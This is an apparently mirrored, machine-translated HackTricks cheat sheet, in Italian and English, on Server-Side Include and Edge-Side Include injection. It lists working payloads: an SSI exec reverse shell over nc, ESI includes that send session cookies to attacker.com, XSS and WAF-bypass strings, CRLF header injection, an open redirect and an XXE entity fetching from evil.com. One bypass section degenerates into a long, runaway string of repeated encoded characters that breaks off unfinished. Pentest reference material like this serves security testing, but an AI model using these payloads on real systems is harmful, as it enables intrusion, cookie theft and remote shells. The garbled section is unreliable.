Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00

Translator workflow 99e7865a3e Translated to Italian

2024-02-10 13:03:23 +00:00

18 KiB

Raw Blame History

Iniezione di inclusione lato server/lato bordo

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
Ottieni il merchandising ufficiale di PEASS & HackTricks
Scopri The PEASS Family, la nostra collezione di esclusive NFT
Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.

Informazioni di base sull'inclusione lato server

(Introduzione tratta dalla documentazione di Apache)

SSI (Server Side Includes) sono direttive che vengono inserite nelle pagine HTML e valutate sul server mentre le pagine vengono servite. Consentono di aggiungere contenuti generati dinamicamente a una pagina HTML esistente, senza dover servire l'intera pagina tramite un programma CGI o un'altra tecnologia dinamica.
Ad esempio, è possibile inserire una direttiva in una pagina HTML esistente, come:

E, quando la pagina viene servita, questo frammento verrà valutato e sostituito con il suo valore:

Martedì, 15-gen-2013 19:28:54 EST

La decisione su quando utilizzare SSI e quando generare completamente la pagina tramite un programma dipende solitamente da quanto la pagina è statica e quanto deve essere ricalcolata ogni volta che la pagina viene servita. SSI è un ottimo modo per aggiungere piccoli pezzi di informazioni, come l'ora corrente - mostrata sopra. Ma se la maggior parte della pagina viene generata al momento del servizio, è necessario cercare un'altra soluzione.

È possibile inferire la presenza di SSI se l'applicazione web utilizza file con le estensioni ** .shtml, .shtm o .stm**, ma non è l'unico caso.

Un'espressione SSI tipica ha il seguente formato:

<!--#directive param="value" -->

Verifica

To check for Server-Side Inclusion (SSI) and Edge-Side Inclusion (ESI) Injection vulnerabilities, you can follow these steps:

Identify the target: Determine the target website or application that you want to test for SSI or ESI Injection vulnerabilities.
Inspect the source code: Analyze the source code of the target to identify any potential SSI or ESI injection points. Look for server-side scripting languages like PHP, ASP, or JSP, as well as any ESI tags or directives.
Test for SSI Injection: Inject SSI directives into user-controllable input fields, such as URL parameters or form inputs, to see if they are processed by the server. Use SSI directives like  to include external files or execute commands.
Test for ESI Injection: Inject ESI tags into user-controllable input fields, such as URL parameters or form inputs, to see if they are processed by the server. Use ESI tags like <esi:include src="http://attacker.com/malicious.xml" /> to include external content or execute commands.
Observe the response: Analyze the server's response to determine if the injected SSI or ESI directives are executed. Look for any changes in the rendered page or any error messages that indicate successful injection.
Exploit the vulnerability: If the SSI or ESI injection is successful, try to escalate the attack by including sensitive files, executing commands, or accessing restricted resources.
Report and mitigate: Document your findings and report them to the appropriate parties. Provide recommendations for mitigating the vulnerabilities, such as input validation and output encoding.

By following these steps, you can effectively test for SSI and ESI Injection vulnerabilities and help secure web applications against these types of attacks.

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Inclusione lato server

C'è un problema nella memorizzazione nella cache delle informazioni o delle applicazioni dinamiche, poiché parte del contenuto potrebbe variare per la prossima volta in cui viene richiesto. Questo è ciò per cui viene utilizzato ESI, per indicare utilizzando i tag ESI il contenuto dinamico che deve essere generato prima di inviare la versione in cache.
Se un attaccante è in grado di iniettare un tag ESI all'interno del contenuto in cache, allora potrebbe essere in grado di iniettare contenuti arbitrari nel documento prima che venga inviato agli utenti.

Rilevamento di ESI

Il seguente header in una risposta dal server indica che il server sta utilizzando ESI:

Surrogate-Control: content="ESI/1.0"

Se non riesci a trovare questa intestazione, il server potrebbe comunque utilizzare ESI.
Un approccio di sfruttamento cieco può essere utilizzato poiché una richiesta dovrebbe arrivare al server degli attaccanti:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

Sfruttamento di ESI

GoSecure ha creato una tabella per comprendere gli attacchi possibili che possiamo provare su diversi software compatibili con ESI, a seconda delle funzionalità supportate:

Includes: Supporta la direttiva <esi:includes>
Vars: Supporta la direttiva <esi:vars>. Utile per bypassare i filtri XSS
Cookie: I cookie del documento sono accessibili al motore ESI
Upstream Headers Required: Le applicazioni surrogate non elaboreranno le istruzioni ESI a meno che l'applicazione upstream non fornisca gli header
Host Allowlist: In questo caso, gli ESI include sono possibili solo da server host consentiti, rendendo ad esempio possibile solo SSRF contro questi host

Software	Includes	Vars	Cookies	Upstream Headers Required	Host Whitelist
Squid3	Sì	Sì	Sì	Sì	No
Varnish Cache	Sì	No	No	Sì	Sì
Fastly	Sì	No	No	No	Sì
Akamai ESI Test Server (ETS)	Sì	Sì	Sì	No	No
NodeJS esi	Sì	Sì	Sì	No	No
NodeJS nodesi	Sì	No	No	No	Opzionale

XSS

La seguente direttiva ESI caricherà un file arbitrario all'interno della risposta del server

<esi:include src=http://attacker.com/xss.html>

Bypassare la protezione XSS del client

In alcuni casi, potrebbe essere necessario bypassare la protezione XSS del client per eseguire un attacco di injection. Di seguito sono riportati alcuni metodi comuni per farlo:

Utilizzo di caratteri speciali: prova ad utilizzare caratteri speciali come <, >, &, ", ', (, ), ;, +, -, *, /, =, !, @, #, $, %, ^, &, *, ~, |, {, }, [, ], :, ,, ., ?, |, \\, //, /*, */, --, #, --!, --#, --//, --/*, --%0a, --%0d, --%09, --%0b, --%0c, --%a0, --%20, --%0, --%00, --%0%00, --%00%0, --%00%00, --%00%09, --%00%20, --%00%0a, --%00%0d, --%00%0b, --%00%0c, --%00%a0, --%00%ff, --%00%ff%00, --%00%ff%00%ff, --%00%ff%00%ff%00, --%00%ff%00%ff%00%ff, --%00%ff%00%ff%00%ff%00, --%00%ff%00%ff%00%ff%00%ff, --%00%ff%00%ff%00%ff%00%ff%00, --%00%ff%00%ff%00%ff%00%ff%00%ff, --%00%ff%00%ff%00%ff%00%ff%00%ff%00, --%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff, --%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00, --%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff, --%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00, --%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff, --%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00, --%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff, --%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00, --%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff, --%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00, --%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff, `--%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00%ff%00

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Rubare i cookie in remoto

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

Rubare il cookie HTTP_ONLY con XSS riflettendolo nella risposta:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

File Locale Privato

Non confondere questo con una "Inclusione di File Locale":

<esi:include src="secret.txt">

CRLF

CRLF (Carriage Return Line Feed) è una sequenza di caratteri utilizzata per rappresentare il ritorno a capo di una riga in molti sistemi operativi. È composta da due caratteri: il carattere di ritorno a capo (CR) e il carattere di avanzamento riga (LF).

Nel contesto della sicurezza informatica, CRLF può essere sfruttato per condurre attacchi di injection. Questi attacchi sfruttano la vulnerabilità di un'applicazione web che non gestisce correttamente i caratteri di ritorno a capo e avanzamento riga.

Un attacco di CRLF injection può consentire a un attaccante di iniettare caratteri speciali nella risposta HTTP, come ad esempio l'inserimento di intestazioni HTTP dannose o la modifica del corpo della risposta. Questo può portare a una serie di conseguenze, come il furto di credenziali, l'esecuzione di codice malevolo o il dirottamento dell'utente su un sito web dannoso.

Per proteggersi dagli attacchi di CRLF injection, è importante validare e filtrare correttamente gli input dell'utente, evitando l'inclusione di caratteri di ritorno a capo e avanzamento riga non desiderati nelle risposte HTTP.

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Reindirizzamento aperto

Il seguente aggiungerà un'intestazione Location alla risposta

<!--esi $add_header('Location','http://attacker.com') -->

Aggiungi Intestazione

Aggiungi un'intestazione nella richiesta forzata

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>

Aggiungi l'intestazione nella risposta (utile per aggirare "Content-Type: text/json" in una risposta con XSS)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF in Aggiungi intestazione (CVE-2019-2438)

Description:

CRLF (Carriage Return Line Feed) injection is a vulnerability that allows an attacker to inject malicious headers into HTTP responses. This can lead to various attacks, such as HTTP response splitting, cache poisoning, and cross-site scripting (XSS).

Exploitation:

To exploit this vulnerability, an attacker needs to identify a vulnerable application that allows user-controlled input to be included in HTTP headers. The attacker can then inject CRLF characters (%0D%0A) into the input, causing a new line to be added to the header.

For example, if the application includes user-controlled input in the "User-Agent" header, the attacker can inject a CRLF sequence to create a new header. This can be used to perform HTTP response splitting attacks, where the attacker can control the content of the response or inject malicious scripts.

Prevention:

To prevent CRLF injection attacks, it is important to properly validate and sanitize user-controlled input before including it in HTTP headers. This can be done by removing or encoding any CRLF characters in the input.

Additionally, web application firewalls (WAFs) can be used to detect and block CRLF injection attempts. Regular security testing and code reviews can also help identify and fix any vulnerabilities that could lead to CRLF injection.

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai debug

Questo invierà informazioni di debug incluse nella risposta:

<esi:debug/>

ESI + XSLT = XXE

Specificando il valore xslt per il parametro dca, è possibile includere ESI basato su eXtensible Stylesheet Language Transformations (XSLT). L'inclusione fa sì che il surrogato HTTP recuperi i file XML e XSLT, con quest'ultimo che filtra il primo. Tali file XML sono vulnerabili agli attacchi XML External Entity (XXE), consentendo agli attaccanti di eseguire attacchi SSRF. Tuttavia, l'utilità di questo approccio è limitata poiché le inclusioni ESI già fungono da vettore SSRF. A causa dell'assenza di supporto nella libreria Xalan sottostante, i DTD esterni non vengono elaborati, impedendo l'estrazione di file locali.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

File XSLT:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Controlla la pagina XSLT:

{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

Riferimenti

Lista di rilevamento Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}